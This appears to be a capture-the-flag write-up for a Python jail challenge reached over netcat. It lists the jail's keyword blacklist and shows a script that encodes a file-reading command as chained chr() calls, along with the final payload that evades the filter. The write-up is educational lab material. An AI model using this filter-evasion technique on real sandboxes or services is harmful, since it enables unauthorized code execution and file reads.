You've been locked in the worst prison imaginable: one without any meatballs! To escape the prison, you must read the flag using Python!  
`nc 3.23.56.243 9011`  
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After playing around with it a bit, and getting various errors, here's what I got:  
```blacklist: import, dir, print, open, ', ", os, sys, _, eval, exec, =, [, ]
prohibited actions:    function calls without parameters, i.e. '()'
code fragments:    inp = eval(inp)    inp = inp.replace("print", "stdout.write")    out = exec(inp)```
The code fragments are the most important here. Notably, the input is evaluated first before it is executed... let's test if a function like chr() works.  
Turns out, it does! That means we can just write every character as a chr(some number), which will allows us to print the file. Here's a little script that helps us write our payload:  
```pypayload = 'print(open("flag.txt","r").read())'for i in payload:    print(f'chr({ord(i)})+', end='')```
And here's our final payload:  
```chr(112)+chr(114)+chr(105)+chr(110)+chr(116)+chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(114)+chr(34)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(41)```
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